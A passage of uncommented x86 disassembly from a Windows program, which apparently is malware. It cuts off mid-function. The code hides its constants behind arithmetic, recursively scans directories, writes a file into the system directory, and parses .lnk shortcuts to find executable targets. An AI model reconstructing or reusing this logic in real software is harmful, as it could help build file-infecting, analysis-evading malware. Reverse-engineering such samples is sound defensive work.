loc_43D759: ; CODE XREF: sub_43D744+1Aj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D759
mov [ebp+var_C], eax
mov eax, [ebp+arg_4]
lea ecx, [eax]
or eax, 0FFFFFFFFh
loc_43D76B: ; CODE XREF: sub_43D744+2Cj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43D76B
mov esi, eax
mov eax, dword_44B104
add eax, dword_44B164
sub eax, 3
mov [ebp+var_4], eax
jmp short loc_43D7DF
; ---------------------------------------------------------------------------
loc_43D787: ; CODE XREF: sub_43D744+A1j
movsx eax, word_44B19C
mov ebx, eax
add ebx, dword_44B160
sub ebx, 0Eh
mov eax, dword_44B10C
mov edi, eax
add edi, dword_44B0A0
sub edi, 0Bh
jmp short loc_43D7D8
; ---------------------------------------------------------------------------
loc_43D7AB: ; CODE XREF: sub_43D744+96j
mov eax, [ebp+var_4]
add eax, edi
mov edx, [ebp+arg_0]
movsx eax, byte ptr [edx+eax]
mov edx, [ebp+arg_4]
movsx edx, byte ptr [edx+edi]
cmp eax, edx
jnz short loc_43D7DC
inc ebx
cmp ebx, esi
jnz short loc_43D7D7
inc [ebp+var_8]
mov eax, [ebp+arg_8]
cmp [ebp+var_8], eax
jnz short loc_43D7D7
mov eax, [ebp+var_4]
jmp short loc_43D7EC
; ---------------------------------------------------------------------------
loc_43D7D7: ; CODE XREF: sub_43D744+81j
; sub_43D744+8Cj
inc edi
loc_43D7D8: ; CODE XREF: sub_43D744+65j
cmp edi, esi
jb short loc_43D7AB
loc_43D7DC: ; CODE XREF: sub_43D744+7Cj
inc [ebp+var_4]
loc_43D7DF: ; CODE XREF: sub_43D744+41j
mov eax, [ebp+var_C]
cmp [ebp+var_4], eax
jb short loc_43D787
mov eax, 0FFFFh
loc_43D7EC: ; CODE XREF: sub_43D744+91j
pop edi
pop esi
pop ebx
leave
retn
sub_43D744 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D7F1 proc near ; CODE XREF: sub_44108E+441p
; sub_44108E+452p
var_FFF = byte ptr -0FFFh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 1000h
call sub_444B40
push esi
push edi
push 5
push [ebp+arg_0]
call ds:dword_445004 ; GetWindow
mov edi, eax
loc_43D80D: ; CODE XREF: sub_43D7F1+7Dj
or edi, edi
jnz short loc_43D815
xor eax, eax
jmp short loc_43D870
; ---------------------------------------------------------------------------
loc_43D815: ; CODE XREF: sub_43D7F1+1Ej
push 0FFFh
lea eax, [ebp+var_FFF]
push eax
push edi
call ds:dword_446010 ; GetClassNameA
mov eax, dword_44B1C4
add eax, dword_44B0B8
sub eax, 8
push eax
push [ebp+arg_4]
lea eax, [ebp+var_FFF]
push eax
call sub_43D744
add esp, 0Ch
mov esi, dword_44B1B4
add esi, 0FFFEh
add esi, dword_44B164
cmp eax, esi
jz short loc_43D863
mov eax, edi
jmp short loc_43D870
; ---------------------------------------------------------------------------
loc_43D863: ; CODE XREF: sub_43D7F1+6Cj
push 2
push edi
call ds:dword_445004 ; GetWindow
mov edi, eax
jmp short loc_43D80D
; ---------------------------------------------------------------------------
loc_43D870: ; CODE XREF: sub_43D7F1+22j
; sub_43D7F1+70j
pop edi
pop esi
leave
retn
sub_43D7F1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D874 proc near ; DATA XREF: .data:0044B2E0o
push ebp
mov ebp, esp
movsx eax, word_44B128
add eax, dword_44B174
sub eax, 9
cmp ds:dword_447604, eax
jbe short loc_43D89A
push offset dword_447604
call ds:dword_445010 ; InterlockedDecrement
loc_43D89A: ; CODE XREF: sub_43D874+19j
mov eax, ds:dword_447604
pop ebp
retn 4
sub_43D874 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43D8A3 proc near ; CODE XREF: sub_43C154+BBp
; sub_43E5D5+1C3p ...
var_EF38 = dword ptr -0EF38h
var_EF34 = dword ptr -0EF34h
var_EF30 = dword ptr -0EF30h
var_EF2C = byte ptr -0EF2Ch
var_EF2B = byte ptr -0EF2Bh
var_EE2C = dword ptr -0EE2Ch
var_EE24 = byte ptr -0EE24h
arg_0 = byte ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
mov eax, 0EF38h
call sub_444B40
push ebx
push esi
push edi
movsx edi, word_44B170
imul esi, dword_44B130, 3C0h
lea edi, [edi+edi+0EA50h]
lea edi, [esi+edi+780h]
shl edi, 1
mov [ebp+var_EF38], edi
push edi
call sub_444AC5
add esp, 4
mov [ebp+var_EE2C], eax
movzx eax, [ebp+arg_0]
mov edx, dword_44B0EC
sub edx, 4
cmp eax, edx
jnz short loc_43D91D
push offset dword_44C5C4
call sub_4424C1
add esp, 4
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_44A634
add esp, 8
jmp loc_43DA0A
; ---------------------------------------------------------------------------
loc_43D91D: ; CODE XREF: sub_43D8A3+55j
call ds:dword_448228
mov ebx, eax
mov [ebp+var_EF2C], bl
movzx eax, [ebp+arg_0]
mov edx, dword_44B138
add edx, dword_44B0C0
sub edx, 7
cmp eax, edx
jnz short loc_43D991
mov eax, dword_44B0E4
add eax, 5
and eax, 0FFh
push eax
lea eax, [ebp+var_EF2B]
push eax
push [ebp+arg_8]
call sub_43BF3D
add esp, 0Ch
push offset asc_44C594 ; ","
call sub_4424C1
add esp, 4
movzx edi, [ebp+var_EF2C]
push edi
lea edi, [ebp+var_EF2B]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_44A634
add esp, 10h
jmp short loc_43DA0A
; ---------------------------------------------------------------------------
loc_43D991: ; CODE XREF: sub_43D8A3+9Dj
mov eax, dword_44B160
sub eax, 8
and eax, 0FFh
push eax
lea eax, [ebp+var_EF2B]
push eax
push dword_44B2B0
call sub_43BF3D
add esp, 0Ch
push offset word_44C536
call sub_4424C1
add esp, 4
mov edi, [ebp+arg_18]
mov esi, [ebp+arg_8]
mov ebx, edi
add ebx, esi
push ebx
push [ebp+arg_1C]
push edi
push [ebp+arg_14]
movzx edi, [ebp+var_EF2C]
push edi
mov edi, esi
sub edi, [ebp+arg_C]
sub edi, dword_44B0C4
push edi
push offset dword_448230
push [ebp+arg_10]
push [ebp+arg_20]
lea edi, [ebp+var_EF2B]
push edi
push eax
lea edi, [ebp+var_EE24]
push edi
call ds:dword_44A634
add esp, 30h
loc_43DA0A: ; CODE XREF: sub_43D8A3+75j
; sub_43D8A3+ECj
push [ebp+var_EF38]
push [ebp+var_EE2C]
movsx eax, word_44B128
inc eax
neg eax
push eax
lea eax, [ebp+var_EE24]
push eax
mov eax, dword_44B0C4
movsx edx, word_44B16C
add eax, edx
sub eax, 8
push eax
push 0
call ds:dword_44A63C ; MultiByteToWideChar
push offset asc_44C51C ; "\t"
call sub_43EFD7
add esp, 4
push eax
call ds:dword_445044
mov [ebp+var_EF30], eax
push [ebp+var_EE2C]
call ds:dword_445044
mov [ebp+var_EF34], eax
push eax
push [ebp+var_EF30]
mov eax, [ebp+arg_4]
push eax
mov ebx, [eax]
call dword ptr [ebx+104h]
push [ebp+var_EF34]
call ds:dword_44ABA0
push [ebp+var_EF30]
call ds:dword_44ABA0
lea esp, [ebp-0EF44h]
pop edi
pop esi
pop ebx
leave
retn
sub_43D8A3 endp
; =============== S U B R O U T I N E =======================================
sub_43DAA4 proc near ; DATA XREF: .data:0044B2A4o
mov eax, 80004001h
retn 10h
sub_43DAA4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DAAC proc near ; CODE XREF: sub_43DAAC+27Ep
; sub_43DAAC+2E6p ...
var_268 = byte ptr -268h
var_260 = dword ptr -260h
var_25C = dword ptr -25Ch
var_258 = word ptr -258h
var_256 = word ptr -256h
var_252 = word ptr -252h
var_250 = word ptr -250h
var_24E = word ptr -24Eh
var_248 = dword ptr -248h
var_242 = byte ptr -242h
var_13E = byte ptr -13Eh
var_112 = byte ptr -112h
arg_0 = dword ptr 8
arg_8 = byte ptr 10h
arg_18 = byte ptr 20h
arg_20 = dword ptr 28h
arg_24 = dword ptr 2Ch
push ebp
mov ebp, esp
sub esp, 268h
push ebx
push esi
push edi
push 0
call ds:dword_44A630
xor ebx, ebx
inc ebx
push offset byte_44C511
call sub_4424C1
push [ebp+arg_0]
push eax
lea edi, [ebp+var_242]
push edi
call ds:dword_44A634
add esp, 14h
lea eax, [ebp+var_13E]
push eax
lea eax, [ebp+var_242]
push eax
call ds:dword_448258 ; FindFirstFileA
mov [ebp+var_248], eax
movsx ecx, word_44B0DC
add ecx, dword_44B0A8
sub ecx, 8
neg ecx
cmp eax, ecx
jnz loc_43DCE4
mov eax, dword_44B09C
sub eax, 8
cmp [ebp+arg_20], eax
ja loc_43DDA1
mov eax, dword_44B1A4
add eax, 3FAh
add eax, dword_44B094
cmp [ebp+arg_24], eax
jnb short loc_43DB4E
mov eax, dword_44B09C
add eax, 9Ch
cmp [ebp+arg_24], eax
jnz loc_43DDA1
loc_43DB4E: ; CODE XREF: sub_43DAAC+8Dj
movsx eax, word_44B128
add eax, 30D40h
cmp [ebp+arg_24], eax
ja loc_43DDA1
lea eax, [ebp+arg_18]
push eax
lea eax, [ebp+arg_8]
push eax
call ds:dword_44A780 ; CompareFileTime
mov [ebp+var_260], eax
movsx eax, word_44B150
sub eax, 5
cmp [ebp+var_260], eax
jge short loc_43DB96
lea edi, [ebp+var_268]
lea esi, [ebp+arg_18]
movsd
movsd
jmp short loc_43DBA1
; ---------------------------------------------------------------------------
loc_43DB96: ; CODE XREF: sub_43DAAC+DBj
lea edi, [ebp+var_268]
lea esi, [ebp+arg_8]
movsd
movsd
loc_43DBA1: ; CODE XREF: sub_43DAAC+E8j
lea eax, [ebp+var_258]
push eax
lea eax, [ebp+var_268]
push eax
call ds:dword_44A778 ; FileTimeToSystemTime
mov eax, dword_44B1CC
mov edx, dword_44B1B8
movzx ecx, [ebp+var_24E]
movzx esi, [ebp+var_250]
movsx edi, word_44B168
lea edi, [eax+edi+30h]
imul esi, edi
add ecx, esi
movzx esi, [ebp+var_252]
mov edi, dword_44B158
lea edi, [edx+edi+15h]
imul esi, edi
mov edi, dword_44B1C4
add edi, 37h
imul esi, edi
add ecx, esi
movzx esi, [ebp+var_256]
mov edi, dword_44B1CC
add edi, 1Ah
imul esi, edi
mov edi, dword_44B138
add edi, 10h
add edi, dword_44B1B0
imul esi, edi
mov edi, dword_44B14C
add edi, 36h
imul esi, edi
add ecx, esi
movzx esi, [ebp+var_258]
mov edi, dword_44B094
add edi, 2
add edi, eax
mov eax, esi
imul eax, edi
movsx esi, word_44B100
movsx edi, word_44B180
lea esi, [esi+edi+0Fh]
imul eax, esi
mov esi, dword_44B0AC
add esi, 0Dh
add esi, dword_44B09C
imul eax, esi
movsx esi, word_44B110
lea edx, [edx+esi+35h]
imul eax, edx
mov edx, ecx
add edx, eax
mov [ebp+var_25C], edx
mov eax, edx
mov edx, ds:dword_445024
cmp eax, edx
ja loc_43DDA1
sub edx, eax
mov eax, dword_44B178
add eax, 0Ah
add eax, dword_44B10C
cmp edx, eax
jnb loc_43DDA1
mov eax, dword_44B0E4
add eax, 0A2h
cmp [ebp+arg_24], eax
jz short loc_43DCD2
push 0
push [ebp+arg_0]
call sub_442E96
add esp, 8
jmp loc_43DDA1
; ---------------------------------------------------------------------------
loc_43DCD2: ; CODE XREF: sub_43DAAC+212j
push 1
push [ebp+arg_0]
call sub_442E96
add esp, 8
jmp loc_43DDA1
; ---------------------------------------------------------------------------
loc_43DCE4: ; CODE XREF: sub_43DAAC+63j
cmp [ebp+var_112], 2Eh
jz loc_43DD9D
lea eax, [ebp+var_112]
push eax
push [ebp+arg_0]
push offset aSS ; "%s\\%s"
lea eax, [ebp+var_242]
push eax
call ds:dword_44A634
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43DAAC
add esp, 154h
jmp short loc_43DD9D
; ---------------------------------------------------------------------------
loc_43DD37: ; CODE XREF: sub_43DAAC+2F3j
lea eax, [ebp+var_13E]
push eax
push [ebp+var_248]
call ds:dword_446004 ; FindNextFileA
mov ebx, eax
or ebx, ebx
jz short loc_43DDA1
cmp [ebp+var_112], 2Eh
jz short loc_43DD9D
lea eax, [ebp+var_112]
push eax
push [ebp+arg_0]
push offset aSS ; "%s\\%s"
lea eax, [ebp+var_242]
push eax
call ds:dword_44A634
lea esi, [ebp+var_13E]
sub esp, 140h
mov edi, esp
mov ecx, 9Fh
rep movsw
lea edi, [ebp+var_242]
push edi
call sub_43DAAC
add esp, 154h
loc_43DD9D: ; CODE XREF: sub_43DAAC+23Fj
; sub_43DAAC+289j ...
or ebx, ebx
jnz short loc_43DD37
loc_43DDA1: ; CODE XREF: sub_43DAAC+74j
; sub_43DAAC+9Cj ...
pop edi
pop esi
pop ebx
leave
retn
sub_43DAAC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DDA6 proc near ; DATA XREF: .data:0044B29Co
push ebp
mov ebp, esp
mov eax, dword_44B0C4
sub eax, 4
cmp ds:dword_44A784, eax
jbe short loc_43DDC4
push offset dword_44A784
call ds:dword_445010 ; InterlockedDecrement
loc_43DDC4: ; CODE XREF: sub_43DDA6+11j
mov eax, ds:dword_44A784
pop ebp
retn 4
sub_43DDA6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DDCD proc near ; CODE XREF: sub_43C38A+2E1p
; sub_43C38A+3C9p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
mov esi, [ebp+arg_4]
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov edi, dword_44B098
sub edi, 7
cmp edx, edi
jnz short loc_43DDF1
mov eax, [ebp+arg_0]
jmp short loc_43DE0B
; ---------------------------------------------------------------------------
loc_43DDF1: ; CODE XREF: sub_43DDCD+1Dj
mov eax, [ebp+arg_0]
xor edx, edx
div esi
mov [ebp+var_8], eax
mov edi, eax
mul esi
mov [ebp+var_C], eax
mov edi, eax
add edi, esi
mov [ebp+var_4], edi
mov eax, edi
loc_43DE0B: ; CODE XREF: sub_43DDCD+22j
pop edi
pop esi
leave
retn
sub_43DDCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DE0F proc near ; CODE XREF: sub_442E96+499p
; DATA XREF: sub_43B52C+B4o
var_26C = byte ptr -26Ch
var_267 = byte ptr -267h
var_168 = byte ptr -168h
var_104 = byte ptr -104h
arg_0 = byte ptr 8
push ebp
mov ebp, esp
sub esp, 26Ch
push esi
push edi
push 104h
lea eax, [ebp+var_104]
push eax
call ds:dword_4475FC ; GetSystemDirectoryA
lea eax, [ebp+var_168]
push eax
call sub_43BFE5
push offset word_44C506
call sub_4424C1
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_445020
lea eax, [ebp+var_168]
push eax
lea eax, [ebp+var_104]
push eax
call ds:dword_445020
push offset word_44C4FE
call sub_4424C1
push eax
lea esi, [ebp+var_104]
push esi
call ds:dword_445020
add esp, 24h
movsx eax, word_44B1A8
add eax, dword_44B158
mov dl, [ebp+arg_0]
mov [ebp+eax+var_267], dl
push 0
push 80h
push 4
push 0
movsx eax, word_44B100
movsx edx, word_44B090
add eax, edx
sub eax, 0Ah
push eax
push 40000000h
lea eax, [ebp+var_104]
push eax
call ds:dword_44A788 ; CreateFileA
mov edi, eax
push 0
lea eax, [ebp+var_26C]
push eax
mov eax, dword_44B1C8
dec eax
push eax
lea eax, [ebp+var_267]
push eax
push edi
call ds:dword_44AB8C ; WriteFile
push edi
call ds:dword_449650 ; CloseHandle
pop edi
pop esi
leave
retn
sub_43DE0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43DEF2 proc near ; CODE XREF: sub_4438E7+179p
var_12110 = byte ptr -12110h
var_1210C = word ptr -1210Ch
var_1210A = word ptr -1210Ah
var_12108 = dword ptr -12108h
var_12104 = byte ptr -12104h
var_12000 = word ptr -12000h
var_11FFE = byte ptr -11FFEh
var_1FFF = byte ptr -1FFFh
var_1FB3 = byte ptr -1FB3h
var_1FB2 = byte ptr -1FB2h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 12110h
call sub_444B40
push ebx
push esi
push edi
push [ebp+arg_0]
lea eax, [ebp+var_12104]
push eax
call sub_444B60
lea ecx, [ebp+var_12104]
or eax, 0FFFFFFFFh
loc_43DF1A: ; CODE XREF: sub_43DEF2+2Dj
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43DF1A
mov ebx, dword_44B184
add ebx, dword_44B0CC
sub ebx, 6
mov esi, eax
sub esi, ebx
mov ebx, dword_44B1A0
sub ebx, 6
mov [ebp+esi+var_12104], bl
push 0
mov eax, dword_44B15C
movsx edx, word_44B100
add eax, edx
sub eax, 0Dh
push eax
push 3
push 0
mov eax, dword_44B17C
movsx edx, word_44B148
add eax, edx
sub eax, 9
push eax
push 80000001h
lea eax, [ebp+var_12104]
push eax
call ds:dword_44A788 ; CreateFileA
mov edi, eax
cmp edi, 0FFFFFFFFh
jz loc_43E1C7
push 0
lea eax, [ebp+var_12110]
push eax
push 1FFFh
lea eax, [ebp+var_1FFF]
push eax
push edi
call ds:dword_445028 ; ReadFile
mov [ebp+var_12108], eax
push edi
call ds:dword_449650 ; CloseHandle
movsx eax, word_44B1A8
movsx edx, word_44B0BC
add eax, edx
sub eax, 9
cmp [ebp+var_12108], eax
jz loc_43E1C7
cmp [ebp+var_1FFF], 4Ch
jnz loc_43E1C7
movzx esi, [ebp+var_1FB3]
movzx ebx, [ebp+var_1FB2]
movzx ebx, bx
shl ebx, 8
or esi, ebx
mov [ebp+var_1210A], si
movzx eax, [ebp+var_1210A]
mov edx, dword_44B0F0
add edx, 46h
movsx ecx, word_44B114
add edx, ecx
add eax, edx
movsx edx, word_44B0D0
add edx, 2
add eax, edx
mov [ebp+var_12000], ax
movzx eax, [ebp+var_12000]
movsx eax, [ebp+eax+var_1FFF]
mov edx, dword_44B17C
sub edx, 6
cmp eax, edx
jz loc_43E1C7
movzx eax, [ebp+var_12000]
mov edx, dword_44B0A0
add edx, 4
add eax, edx
movsx eax, [ebp+eax+var_1FFF]
mov edx, dword_44B15C
sub edx, 3
cmp eax, edx
jnz loc_43E1C7
movzx eax, [ebp+var_12000]
movsx edx, word_44B0F4
mov ecx, dword_44B0D4
lea edx, [edx+ecx+6]
mov ecx, eax
add ecx, edx
movzx edx, [ebp+ecx+var_1FFF]
mov esi, dword_44B094
add esi, 0Ah
add esi, dword_44B1B4
mov ebx, eax
add ebx, esi
movzx esi, [ebp+ebx+var_1FFF]
movzx esi, si
shl esi, 8
mov ebx, edx
or ebx, esi
mov esi, ebx
movzx esi, si
mov ebx, eax
add ebx, esi
mov esi, ebx
mov [ebp+var_1210C], si
movzx eax, [ebp+var_1210C]
lea eax, [ebp+eax+var_1FFF]
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_444B60
lea ecx, [ebp+var_11FFE]
or eax, 0FFFFFFFFh
loc_43E0F5: ; CODE XREF: sub_43DEF2+208j
inc eax
cmp byte ptr [ecx+eax], 0
jnz short loc_43E0F5
mov edi, eax
mov eax, dword_44B0AC
add eax, 1
mov edx, edi
sub edx, eax
cmp [ebp+edx+var_11FFE], 2Eh
jnz short loc_43E18C
mov eax, dword_44B0EC
add eax, dword_44B1C0
sub eax, 5
mov edx, edi
sub edx, eax
movsx eax, [ebp+edx+var_11FFE]
push eax
call ds:dword_445030
add esp, 4
cmp eax, 45h
jnz short loc_43E18C
mov esi, dword_44B190
sub esi, 1
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call ds:dword_445030
add esp, 4
cmp eax, 58h
jnz short loc_43E18C
movsx esi, word_44B0B0
add esi, dword_44B0A4
sub esi, 9
mov ebx, edi
sub ebx, esi
movsx esi, [ebp+ebx+var_11FFE]
push esi
call ds:dword_445030
add esp, 4
cmp eax, 45h
jz short loc_43E18E
loc_43E18C: ; CODE XREF: sub_43DEF2+220j
; sub_43DEF2+249j ...
jmp short loc_43E1C7
; ---------------------------------------------------------------------------
loc_43E18E: ; CODE XREF: sub_43DEF2+298j
push offset byte_44C4F9
call sub_4424C1
push eax
lea edi, [ebp+var_11FFE]
push edi
call ds:dword_445020
mov eax, dword_44B190
movsx edx, word_44B1BC
add eax, edx
sub eax, 9
push eax
lea eax, [ebp+var_11FFE]
push eax
call sub_442A46
add esp, 14h
loc_43E1C7: ; CODE XREF: sub_43DEF2+93j
; sub_43DEF2+DBj ...
pop edi
pop esi
pop ebx
leave
retn
sub_43DEF2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E1CC proc near ; CODE XREF: sub_43B52C+22Ep
; sub_441FCC+192p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = byte ptr -14h
var_13 = byte ptr -13h
var_12 = byte ptr -12h
var_11 = byte ptr -11h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 28h
push ebx
push esi
push edi
mov esi, [ebp+arg_4]
inc esi
mov edi, dword_44B0A0
add edi, 1Bh
mov eax, esi
test eax, eax
jge short loc_43E1ED
add eax, 0FFh
loc_43E1ED: ; CODE XREF: sub_43E1CC+1Aj
sar eax, 8
movsx ebx, word_44B194
add ebx, 9
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_8], edi
mov edi, dword_44B174
add edi, 0Ch
mov eax, esi
test eax, eax
jge short loc_43E218
add eax, 0FFh
loc_43E218: ; CODE XREF: sub_43E1CC+45j
sar eax, 8
movsx ebx, word_44B1BC
add ebx, 0Bh
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_C], edi
movsx edi, word_44B19C
mov ebx, dword_44B0AC
lea edi, [edi+ebx+18h]
mov eax, esi
test eax, eax
jge short loc_43E24B
add eax, 0FFFFh
loc_43E24B: ; CODE XREF: sub_43E1CC+78j
sar eax, 10h
mov ebx, dword_44B140
add ebx, 0Fh
mov edx, eax
imul edx, ebx
add edi, edx
mov [ebp+var_10], edi
mov eax, esi
mul [ebp+var_8]
mov [ebp+var_1C], eax
and eax, 0FFh
push eax
call sub_441020
mov ebx, eax
mov [ebp+var_1], bl
mov eax, dword_44B0FC
add eax, 5
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_44022F
mov ebx, eax
mov [ebp+var_11], bl
mov eax, esi
mul [ebp+var_C]
mov [ebp+var_20], eax
and eax, 0FFh
push eax
call sub_441020
mov ebx, eax
mov [ebp+var_12], bl
mov eax, dword_44B1CC
add eax, 6Ah
add eax, dword_44B0A8
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_44022F
mov ebx, eax
mov [ebp+var_13], bl
mov eax, esi
and eax, 0FFh
push eax
call sub_441020
mov ebx, eax
mov [ebp+var_14], bl
mov eax, dword_44B1CC
add eax, 2Bh
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_44022F
mov ebx, eax
mov [ebp+var_15], bl
mov eax, esi
mul [ebp+var_10]
mov [ebp+var_24], eax
and eax, 0FFh
push eax
call sub_441020
mov ebx, eax
mov [ebp+var_16], bl
mov eax, dword_44B1A4
add eax, 49h
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_44022F
mov ebx, eax
mov [ebp+var_17], bl
mov eax, dword_44B14C
add eax, 3Dh
mov edx, esi
imul edx, eax
mov eax, edx
and eax, 0FFh
push eax
call sub_441020
add esp, 24h
mov ebx, eax
mov [ebp+var_18], bl
movzx edi, [ebp+var_1]
mov eax, edi
shr eax, 1
mov esi, dword_44B188
add esi, 2
mul esi
mov [ebp+var_28], eax
mov esi, eax
cmp esi, edi
jnz short loc_43E3C1
push offset byte_44C4DF
call sub_4424C1
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_44A634
add esp, 30h
jmp short loc_43E405
; ---------------------------------------------------------------------------
loc_43E3C1: ; CODE XREF: sub_43E1CC+1ADj
push offset dword_44C4C4
call sub_4424C1
movzx edi, [ebp+var_18]
push edi
movzx edi, [ebp+var_17]
push edi
movzx edi, [ebp+var_16]
push edi
movzx edi, [ebp+var_15]
push edi
movzx edi, [ebp+var_14]
push edi
movzx edi, [ebp+var_13]
push edi
movzx edi, [ebp+var_12]
push edi
movzx edi, [ebp+var_11]
push edi
movzx edi, [ebp+var_1]
push edi
push eax
push [ebp+arg_0]
call ds:dword_44A634
add esp, 30h
loc_43E405: ; CODE XREF: sub_43E1CC+1F3j
pop edi
pop esi
pop ebx
leave
retn
sub_43E1CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43E40A proc near ; DATA XREF: .data:0044B2ACo
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, [ebp+arg_0]
mov eax, [ebp+arg_10]
mov word ptr [ebp+arg_10], ax
mov eax, dword_44B174
inc eax
cmp ds:dword_44761C, eax
jnb short loc_43E438
movsx eax, word_44B16C
sub eax, 4
mov ds:dword_44761C, eax
loc_43E438: ; CODE XREF: sub_43E40A+1Dj
mov edi, dword_44B0AC
sub edi, 3
jmp short loc_43E44F
; ---------------------------------------------------------------------------
loc_43E443: ; CODE XREF: sub_43E40A+51j
lea ebx, ds:446130h[edi*4]
cmp esi, ebx
jz short loc_43E45D
inc edi
loc_43E44F: ; CODE XREF: sub_43E40A+37j
mov eax, dword_44B108
add eax, 3E8h
cmp edi, eax
jb short loc_43E443
loc_43E45D: ; CODE XREF: sub_43E40A+42j
movsx eax, word_44B114
add eax, 3E6h
cmp edi, eax
jnz short loc_43E474
xor eax, eax
jmp loc_43E5CE
; ---------------------------------------------------------------------------
loc_43E474: ; CODE XREF: sub_43E40A+61j
movzx esi, ds:word_447A50[edi*2]
movsx ebx, word_44B0D0
inc ebx
cmp esi, ebx
jnz short loc_43E4AF
movzx eax, ds:byte_447200[edi]
push eax
push ds:dword_445060[edi*4]
call sub_43B260
add esp, 8
and ds:dword_446130[edi*4], 0
xor eax, eax
jmp loc_43E5CE
; ---------------------------------------------------------------------------
loc_43E4AF: ; CODE XREF: sub_43E40A+7Cj
movzx esi, ds:word_447A50[edi*2]
movsx ebx, word_44B0E8
movsx edx, word_44B114
lea ebx, [ebx+edx+0FFF8h]
cmp esi, ebx
jnz loc_43E5A8
mov eax, dword_44B198
sub eax, 8
mov [ebp+var_4], eax
jmp loc_43E58B
; ---------------------------------------------------------------------------
loc_43E4E4: ; CODE XREF: sub_43E40A+194j
mov esi, [ebp+var_4]
mov ebx, esi
shl ebx, 2
cmp ds:dword_446130[ebx], 0
jz loc_43E588
movzx edx, ds:word_447A50[esi*2]
movsx ecx, word_44B1A8
mov eax, dword_44B0B8
lea ecx, [ecx+eax+0FFFBh]
cmp edx, ecx
jz short loc_43E588
mov edx, ds:dword_445060[edi*4]
cmp ds:dword_445060[ebx], edx
jnz short loc_43E588
mov bl, ds:byte_447200[esi]
cmp bl, ds:byte_447200[edi]
jnz short loc_43E588
movzx esi, ds:word_447A50[esi*2]
mov ebx, dword_44B118
add ebx, dword_44B184
sub ebx, 6
cmp esi, ebx
jnz short loc_43E579
mov esi, [ebp+var_4]
movzx ebx, ds:byte_447200[esi]
push ebx
push ds:dword_445060[esi*4]
call sub_43B260
add esp, 8
and ds:dword_446130[edi*4], 0
jmp short loc_43E5A4
; ---------------------------------------------------------------------------
loc_43E579: ; CODE XREF: sub_43E40A+148j
mov esi, [ebp+var_4]
lea esi, ds:447A50h[esi*2]
dec word ptr [esi]
jmp short loc_43E5A4
; ---------------------------------------------------------------------------
loc_43E588: ; CODE XREF: sub_43E40A+EAj
; sub_43E40A+10Dj ...
inc [ebp+var_4]
loc_43E58B: ; CODE XREF: sub_43E40A+D5j
mov eax, dword_44B178
add eax, 3E0h
add eax, dword_44B12C
cmp [ebp+var_4], eax
jb loc_43E4E4
loc_43E5A4: ; CODE XREF: sub_43E40A+16Dj
; sub_43E40A+17Cj
xor eax, eax
jmp short loc_43E5CE
; ---------------------------------------------------------------------------
loc_43E5A8: ; CODE XREF: sub_43E40A+C4j
movzx esi, ds:word_447A50[edi*2]
movsx ebx, word_44B150
add ebx, dword_44B1CC
sub ebx, 8
cmp esi, ebx
jle short loc_43E5CC
dec ds:word_447A50[edi*2]
loc_43E5CC: ; CODE XREF: sub_43E40A+1B8j
xor eax, eax
loc_43E5CE: ; CODE XREF: sub_43E40A+65j
; sub_43E40A+A0j ...
pop edi
pop esi
pop ebx
leave
